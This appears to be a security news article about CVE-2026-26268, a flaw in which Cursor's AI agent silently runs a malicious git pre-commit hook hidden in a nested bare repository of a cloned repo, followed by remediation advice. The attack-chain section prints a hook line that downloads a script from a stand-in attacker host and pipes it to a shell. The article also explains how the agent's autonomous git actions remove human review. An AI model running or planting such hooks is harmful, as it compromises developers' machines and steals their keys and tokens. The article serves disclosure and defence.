CVE-2026-26268: Cursor Git Hook RCE — Cloning a Repo Can Own Your Machine

A CVSS 9.9 vulnerability in Cursor, CVE-2026-26268, allows attackers to execute arbitrary code on a developer's machine by cloning a malicious repository, as disclosed by Novee Security. The flaw, which Cursor disputes with a score of 8.0, was patched in Cursor 2.5. In June 2026, attackers exploited similar AI IDE vulnerabilities to inject malware into 73 Microsoft GitHub repositories, and an estimated 50 million developers were exposed to a related 1-click RCE in VS Code, Cursor, and Google Antigravity before patches shipped by August 5, 2026.

Git hooks have always been a known attack vector. What changed is that your AI coding agent now runs them without asking. A CVSS 9.9 flaw in Cursor — CVE-2026-26268 — lets attackers silently execute arbitrary code on your machine the moment you clone a rigged repository. The patch exists: Cursor 2.5. If you have not updated, every repo you clone is a potential liability. How the Attack Works The exploit uses nothing exotic. Git hooks are shell scripts in .git/hooks/ that fire automatically on Git events like commits and checkouts. Bare repositories are a standard Git data structure — all metadata, no working directory — that can be embedded inside a larger repository. Here is the attack chain. An attacker publishes a legitimate-looking repository on GitHub. Nested inside it is a bare repo containing a malicious pre-commit hook: bash /bin/sh .git/hooks/pre-commit curl -s https://attacker.example/payload.sh | sh A developer clones it and opens it in Cursor. The Cursor AI agent — as part of normal workspace setup — runs git checkout autonomously. That triggers the pre-commit hook. The script executes with full terminal privileges. No dialog. No warning. No indication anything happened. This is classified as CWE-862 Missing Authorization https://www.sentinelone.com/vulnerability-database/cve-2026-26268/ : Cursor’s sandbox lacked write authorization checks on the .git/ directory, allowing the embedded hook to execute outside the sandbox boundary. Why AI Agents Turned a Theory Into a Weapon Git hook exploits via malicious repos have been documented for years. They never scaled because they required a human to manually run a Git command — there was always a moment of human review. Cursor’s agent removes that moment. It decides autonomously when to run Git operations as part of fulfilling your requests. The researchers at Novee Security https://novee.security/blog/cursor-ide-cve-2026-26268-git-hook-arbitrary-code-execution/ , who discovered and disclosed the flaw, made the point directly: Cursor’s agent “fundamentally changes that model.” The automation that makes AI IDEs fast is the same automation that made this exploit practical. Cursor disputed NVD’s CVSS 9.9 with their own score of 8.0, arguing prompt injection is a prerequisite — but the underlying risk is real regardless of which score you prefer. What Attackers Walk Away With Developer workstations are, from an attacker’s perspective, production-equivalent. A successful exploit gives the payload access to: - API keys stored as environment variables or in dotfiles OpenAI, Anthropic, Stripe - SSH keys in ~/.ssh/ - GitHub tokens in ~/.gitconfig or shell history - Cloud credentials AWS, GCP, Azure in standard credential files - CI/CD pipeline tokens in checked-in config - Persistent malware — keyloggers that survive after Cursor closes In June 2026, attackers demonstrated this is not theoretical: malware was injected into 73 Microsoft GitHub repositories targeting developers using AI IDEs including Cursor. Credentials were harvested automatically when the repos were opened. Not an Isolated Incident CVE-2026-26268 is part of a broader wave of AI IDE security disclosures. Around the same period, AISLE researchers disclosed a 1-click RCE affecting VS Code, Cursor, and Google Antigravity https://cybersecuritynews.com/1-click-rce-vulnerability-in-code-editors/ via malicious links embedded in Git commit messages. Clicking the link in the editor’s commit history triggered silent code execution with full terminal privileges. All three vendors patched it by August 5, 2026. An estimated 50 million developers were exposed before the fix shipped. The pattern across both disclosures is the same: editors trust content from repositories more than they should, and AI agents automate interactions that used to require human confirmation. For more context on the broader Cursor security landscape, Repello AI’s 2026 enterprise hardening guide https://repello.ai/blog/cursor-security catalogues 11+ vulnerabilities across the product’s history. What to Do Now Update Cursor to 2.5 or later. This closes CVE-2026-26268 and nine other critical CVEs. Update VS Code and Google Antigravity to their latest versions to get the AISLE 1-click RCE patch. Rotate API keys immediately if you cloned unvetted repositories before updating — assume exposure. Audit your clone history. Review what repos your team has pulled from unfamiliar accounts. Enable Workspace Trust in VS Code and open unknown projects in Restricted Mode only. For enterprise teams: Pin to Cursor 2.5+ via MDM, disable project-local MCP servers, and restrict extensions to allowlisted publishers. The Shift You Need to Internalize Traditional IDEs displayed code and waited for you to act. AI IDEs act on your behalf. That capability expansion is also an attack surface expansion. The mental model needs to change: cloning a repository from an untrusted source in an AI IDE is not a passive operation. Treat it like installing software. CVE-2026-26268 has a patch. The underlying threat model shift does not.